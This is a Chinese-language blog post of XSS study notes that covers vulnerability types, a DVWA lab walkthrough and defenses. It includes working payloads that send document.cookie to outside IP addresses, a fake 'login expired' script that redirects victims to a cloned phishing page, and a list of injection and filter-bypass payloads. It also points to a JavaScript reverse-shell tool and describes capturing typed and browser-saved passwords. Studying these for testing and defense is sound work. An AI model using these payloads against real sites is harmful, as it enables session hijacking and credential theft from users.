XSS

漏洞简绍

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

前端基础

js

可以在网页上实现任何功能,让其显示图片,试试更新的内容,交互式的地图,2D/3D动画,滚动播放的视频等等

BOM

浏览器的对象模型,JS可以通过BOM访问浏览器的相关信息。对浏览器进行交互。可以修改浏览器的大小啊,高度啥的。

我的理解是可以把BOM抽象成为一个浏览器的接口看,用于操作浏览器的

对于攻击者来说可以用于发现漏洞的存在,比如 XSS

事件

可以理解为QT的信号和槽函数。我们给某个东西发送一个信号,比如说我们可以给一个按钮点击的事件

事件处理程序

这个可以理解为QT的槽函数,用于接受信号,然后作出反应

针对于某一个事件的就叫做事件处理程序。事件处理程序的开头总是以on开头。比如onclick,onload。如果是模糊事件可以使用onblur

常见的事件处理程序:

JavaScript学习手册十五:事件处理_javascript学习手册十五:事件处理-CSDN博客

JS引用方式

使用Html标签

  1. 使用script

    1
    2
    3
    4
    <script type="text/javascript">
    脚本块
    </script>
    <!--注意:这里的结束部分:‘</script>’一定要有-->
  2. 直接在元素事件中引用(作为事件的句柄)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>HTML中嵌入JS代码的第一种方式</title>
    </head>
    <body>
    <input type="button" value="hello" onclick="window.alert('hello zhangsan')
    window.alert('hello lis')
    window.alert('hello wangwu')"/>

    <!-- window. 可以省略。-->
    <input type="button" value="hello" onclick="alert('hello zhangsan')
    alert('hello lis')
    alert('hello wangwu')"/>
    </body>
    </html>

  3. 外部引用JS

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>HTML中嵌入JS代码的第三种方式:引入外部独立的js文件</title>
    </head>
    <body>
    <!--这里就导入了js01文件,并运行-->
    <script type="text/javascript" src="js01.js">
    // 这里写的代码不会执行,执行的是js01文件
    // window.alert("Test");
    </script>

    <script type="text/javascript">
    alert("hello jack!");
    </script>
    </body>
    </html>

形成原因

  1. 没由于针对用户的输入进行过滤
  2. 用户的浏览器执行了恶意的代码

漏洞危害

主要是对用户造成危害,但是不会基本不会对服务器造成危害

  1. 钓鱼欺骗

    制作与正常的服务相类似的网站镜像,然后诱导受害者去点击,输入密码,然后我方进行调用

    最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼 JavaScript 以监控目标网站的表单输入,甚至发起基于 DHTML[^dhtml] 更高级的钓鱼攻击方式。

  2. 网站挂马

    跨站时利用 IFrame[^IFrame ] 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。

    可以简单是实现为使用msf 或者cs 的web 攻击,然后添加到网站的根目录或者访问量较大的部分,访问这个页面的时候自动请求payload 使其上线

  3. 身份盗用

    就是窃取cookie

    Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。

  4. 盗取用户的信息

    当能够窃取到用户 Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。

  5. 垃圾信息发送

    比如在 SNS 社区中,利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

  6. 劫持用户的web行为

    一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送与接收的数据等等。

  7. XSS蠕虫

    利用csrf 和xss

    技术讨论 | 记一次XSS蠕虫渗透实验 - FreeBuf网络安全行业门户

    如果发现csrf 可以打组合拳

  8. 权限维持

    己经获取了web 权限如果发现可以在登陆页面插入xss 代码,然后每一个登陆的时候将会发送请求,从而记录密码

下面是整个的逻辑

image-20240501205320595

漏洞分类

反射性XSS

又称为非持久性XSS,这种攻击往往具有一次性

如果使用,这个需要调用使用社工,钓鱼

可以使用弹窗发现

image-20231201202831226

存储型XSS

又称为持久性XSS,攻击脚本基本储存在咪表的服务器当中,更具有隐蔽性。

这种多用于博客,论坛,留言板当中,在发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库当中,当用户进行正常的额访问时,触发XSS代码

DOM型XSS

可以理解为不经过后端只在前端执行的代码

盗用cookie

cookile简绍

Cookie是HTTP协议下,服务器可以维护客户工作站上信息的一种方式。cookie是由web服务器保存在用户的客户端上的小文本文件,它可以包含多种信息

前提

  1. 没有httponly

  2. 受害者可以直接访问到接收端

  3. 获取cookie之后目标用户没有退出

    这里如果用户有退出登录了,会话就消失了,也就是说cookie在这里就直接失效了

攻击方式

我们分两个视角来发现,这个过程基于dvwa靶场

攻击者:

首先我访问正常的网页内容,然后发现了存在XSS漏洞,我作为攻击者我的目的是获取登录者的cookie然后登录他

image-20231207234608819

我先尝试使用弹窗看是否存在xss

image-20231207234837426

发现不能输入了,这个时候我们修改这个框框的长度

image-20231207234935086

image-20231207235002011

下面是我使用另一个浏览器浏览的结果(这里模仿的是其他用户访问带有脚本的网页)

image-20231208103051827

存在漏洞,那就直接搞

有多种方式搭建xss平台

方式一:

尝试使用云服务器开启python的http服务

image-20231207235504418

然后构建下面的payload

1
<script>window.open('http://8.130.123.25:11234/?q='.btoa(document.cookie))</script>

image-20231208000108029

现在看我们的服务器是否发cookie

image-20231208111155822

本机上面测试的,下面是使用服务器,获取使用者的cookie

image-20231208111904181

也是成功获取,这个主要的方式是,启动一个我们伪造的网页或者web服务,使用他的cookie作为参数,传给我们,然后我们使用它的cookie就可以登录他的账号了

我们也可以搭建自己xss平台

但是上面的方法始终不会很隐蔽

网络钓鱼

就是诱骗你去点链接

Flash 钓鱼

就是除了网站url,但是其他的都相同

cobalt strike钓鱼

CS简介

这个是常用的团队渗透作战工具,可以实现横向移动,数据窃取,鱼叉式钓鱼的后渗透工具,分为客户端和服务端,一个客户端可以连接多个服务端

克隆网站

可以跟着下面的步骤 进行就可以了,我将虚拟机作为服务器win10

启动cs的克隆网站模式,这里我们克隆dvwa的登录界面,诱使用户点击

image-20231209160210299

注意这里不能使用云服务器克隆,因为虚拟机时内网机器,不能被访问到

我们使用kali克隆

image-20231209165153379

可以成功

然后我们的思路时,当一个用户方访问正常的页面的时候,跳转到了我们的网站,然后他登录这个网站,我们就可以使用CS的输出信息看他的密码了

下面时使用的payload,将下面的js放入一个sj文件之后,使用连接访问

1
2
window.alert = function(name){ var iframe = document.createElement("IFRAME"); iframe.style.display = "none"; iframe.setAttribute("src",'date:text/plain'); document.documentElement.appendChild(iframe); window.frames [0].window.alert(name); iframe.parentNode.removeChild(iframe); } alert("登陆过期,请重新登陆!"); window.location.href="http://192.168.220.129/"

再有xss的地方插入

1
<script src="js文件的地址"></script>

Beef钓鱼

beef 是一个xss 利用工具

流量挟持

可以理解为,增加自己服务器的浏览量,出入到别人的网站里面

反射型XSS攻击流程

image-20231203204136766

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息

总结一下:

  1. 发送url,给用户
  2. 点击此链接
  3. 服务器获取请求参数并且直接使用,服务器返回结果页面

存储型XSS攻击流程

按照字面意思把XSS放在服务器上

image-20231203204249856

存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie

疑惑:

保存到服务器的数据库为什么会被执行?

可以使用评论作为例子,当你使用XSS上传了一段恶意代码之后,这个评论不仅是你可以看到,而是所有的人都可以看到,也就是说前端加载这段代码,才会显示处理。只不过正常的评论是一段字符串,这个是恶意代码而已

DOM

DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

部分可以触发DOM的JS属性

document.referer 用于记录跳转过来的url
window.name 用于记录设置窗口的值,用于页面之间传送时数据,特别是在使用 iframe 或弹出窗口,可以在不同页面之间传递信息或状态
location 是一个对象,代表了当前窗口的url信息。还包含了主机,路径,查询参数等信息
innerHTML
documen.write 是一个方法,用于动态的向文档中插入内容

XSS攻击的payload

script标签

1
2
3
4
5
<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss

SVG标签

这个标签可以理解为优化的图片的标签

1
2
3
<!-- <svg onload="alert(1)">

<!-- <svg onload="alert(1)"//

img标签

1
2
onerror  这个是错误处理,可以理解为当程序有问题的时候会触发这个,然后执行里的函数
事件在加载外部文件(文档或图像)发生错误时触发。
1
2
<img  src=1  οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie

body标签

1
2
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

video标签

1
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style标签

1
<style οnlοad=alert(1)></style>

弹窗函数

1
2
3
alert()
confirm()
prompt()

其他

1
2
3
4
5
6
7
8
9
10
11
<input onfocus=write('xss') autofocus> 
<img src onerror=alert('xss')>
<svg onload=alert('xss') >
<script>alert('xss')</script>
<a href="javascript:alert('xss')">clickme</a>
</td><script>alert(123456)</script>
'><script>alert(123456)</script>
"><script>alert(123456)</script>
</title><script>alert(123456)</script>
<scrip<script>t>alert(123456)</scrip</script>t>
</div><script>alert(123456)</script>
1
<script> window.open('http://192.168.81.238:2333/?q='+btoa(document.cookie)) </script>

XSS插入位置

  • 用户输入作为script标签内容
  • 用户输入作为HTML注释内容
  • 用户输入作为HTML标签的属性名
  • 用户输入作为HTML标签的属性值
  • 用户输入作为HTML标签的名字
  • 直接插入到CSS
  • 最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- 用户输入注释的时候,我们可以使用闭合执行我们的代码 -->
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->

<!-- 用户输入作为标签属性名,导致攻击者可以进行闭合绕过-->
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>

<!-- 用户输入作为标签属性值,导致攻击者可以进行闭合绕过 -->
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>

<!-- 用户输入作为标签名,导致攻击者可以进行闭合绕过 -->
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />

<!-- 用户输入作为CSS内容,导致攻击者可以进行闭合绕过 -->
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

XSS漏洞挖掘

黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

  • URL的每一个参数
  • URL本身
  • 表单

常见业务场景

  • 重灾区:评论区、留言区、个人信息、订单信息等
  • 针对型:站内信、网页即时通讯、私信、意见反馈
  • 存在风险:搜索框、当前目录、图片属性等

白盒测试(代码审计)

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

看PHP接受参数的方式\$_GET\$_POST$_REQUEST,查看每一个接受参数的地方有没有直接输出道页面的,输出到页面中的数据时候进行了过滤和HTML编码的问题

然后就是需要搜素echo这样的输出语句,跟踪文件从哪里来的,我们能不能控制

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过

展示

主要是使用乌云网

  1. 分类

    反射型XSS(GET)
    反射型XSS(POST)
    存储型XSS
    DOM型XSS
    XSS之盲打
    XSS之过滤
    XSS之htmlspeclalchars
    XSS之href输出
    XSS之js输出

  2. 启维

    启维主站存在xss | wooyun-2016-0226807| WooYun.org (zone.ci)

XSS简单绕过

使用大小写绕过

1
<scripT>alert('hack')</scripT>

不区分大小写,过滤之间的所有内容

1
<img src=1 οnerrοr=alert('hack')>

超链接

1
<a src=javascript:alert()>123</a>

XSS防御

总体的思路是

对输入进行url过滤,对输出进行html编码[^html编码]

这样即使用户输入了脚本,但是并不能运行

具体的做法是:

  • 黑名单过滤和白名单过滤

    名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

  • 将输出html编码

    #使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
    $name = htmlspecialchars( $_GET[ ‘name’ ] );

  • 服务端设置Cookie的http only属性,这样一来js脚本就不能直接获取Cookie信息了

  • 前端进行输入过滤

  • 纯前端渲染

绕过http-only

  • CVE-2012-0053

    apache 在2.2.0-2.2.21 版本 中的漏洞,攻击者在请求中注入一个非常大的cookie 超过了apache 最大请求长度4192 字节,apache 就会返回400 错误,状态码中就包含了http-only 的保护的cookie

  • phpinfo页面进行获取

    可以使用XMLHttpRequest 请求该页面获取cookie信息

    XMLHttpRequest - Web API | MDN (mozilla.org)

    https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/#

    不得不感叹,国内的文章真的是….我通过谷歌随便找的一篇文章都比国内的清晰

    简单的理解是,如果服务器存在phpinfo() 函数或者是页面,我们可以将这个页面的信息发送到我们服务器中,然后由于phpinfo 页面本身就可以看到http-only 的cookie 所以我们久获取了对应了cookie

    但是这个方法本身有一个巨大的问题,没有phpinfo 这个页面的话,就会很难搞

  • 既然获取cookie 是为了得到登录权限,那么还有一种简单的方式可以用于登录,那就是直接输入账号和密码

    那我们在登录页面发现的xss 就可以在登录的时候直接发送账号和密码到我们的服务器

  • 使用frame 框架进行钓鱼,或者是钓鱼网站进行钓鱼

    iframe框架钓鱼(通过标签嵌入一个远程域,完全撑开后,以覆盖原有的页
    面)。跳转钓鱼(通过购买相似名,构建相同的钓鱼页面,使受害者跳转至钓鱼
    站)。

  • 历史密码

    通过js 伪造登录表单,欺骗浏览器自动填入,由此获得浏览器记住的历史密码

使用JS反向shell

git clone https://github.com/shelld3v/JSshell.git

XSS利用方式

注意如果是挖掘src的话,不要使用弹窗!!

可以使用下面的代码

1
<script>console.log(1)</script>

这个需要在F12,开启调试之后才能发现,可以理解为调试的结果,日志输出

面试相关

  1. XSS 漏洞原理

    本质是js 代码执行,原理就是用户在可控参数输入恶意的js 代码,然后该代码被执行

  2. 如何验证xss

    1. 寻找用户可控的利用点
    2. 测试特殊符号是否被过滤
    3. 根据第二步及,添加js 事件
  3. xss 种类

    1. dom 型

      攻击者将所有的恶意的js 代码,放置于前端,不经过后端

    2. 反射型

      攻击者将带有恶意的js 传递给网站,经过服务器返回到客户端,然后由客户端的浏览器执行

    3. 存储型

      将带有恶意的js 代码存放到网站的数据库,然后客户端每一次访问都从数据库读取恶意的js 代码然后执行

    4. uxss

      通用型xss

    5. mxss

      突变型xss

  4. xss 有哪些危害?

    1. 盗用cookie

      使用http only

    2. 插入广告

    3. 盗用身份

    4. 引流

    5. 蠕虫攻击

    …..

  5. 怎么防御xss?

    1. 对用户的数据进行限制
    2. 使用黑白名单,进行过滤
    3. 设置http only
  6. xss 案例

    1. 2007年12月,百度空间遭受蠕虫攻击,用户之间开始转发垃圾短消息
    2. 2011年新浪微博曾遭受xss攻击(点击链接会自动发送一个连接出去,攻击逐渐扩大,属于蠕虫攻击)
    3. QQ邮箱发现反射性xss漏洞
  7. DOM 型的测试方法

    寻找类似doucument.write、innerHTML赋值、outterHTML赋值、window.location操作、写入javascript:后内容、eval、setTime、setInterval等直接执行之类的函数点
    思路
    寻找变量,回溯变量来源是否可控,是否经过安全过滤。

  8. 修复建议

    1. 对用户的输入进行过滤
    2. 对用户的数据进行html 编码
    3. 对输出的内容进行编码转义
    4. 设置httl only
  9. 如何绕过xss 的安全限制方法

    1. 大小写绕过

    2. 更换不同的事件

    3. 超链接

      1
      <a src=javascript:alert()>123</a>

参考文档

XSS攻击绕过过滤方法大全(转)_xss绕过-CSDN博客

[^html编码]: HTML编码是一种将特殊字符转换为HTML实体的过程。在HTML中,有一些特殊字符具有特殊的含义,比如小于号(<)、大于号(>)、引号(”)、和符号(&)等。如果直接在HTML中使用这些字符,有时会导致解析错误或显示不正常。因此,需要使用HTML编码将这些特殊字符转换为对应的实体或代码。将小于号(<)编码为 &lt,将大于号(>)编码为 &gt,将引号(”)编码为 &quot,将和符号(&)编码为 &amp 等。

[^IFrame ]: 可以理解是html 的标签
[^ dhtml]: DHTML 是一种使 HTML 页面具有动态特性的艺术。


XSS
https://tsy244.github.io/2023/12/01/web/XSS/
Author
August Rosenberg
Posted on
December 1, 2023
Licensed under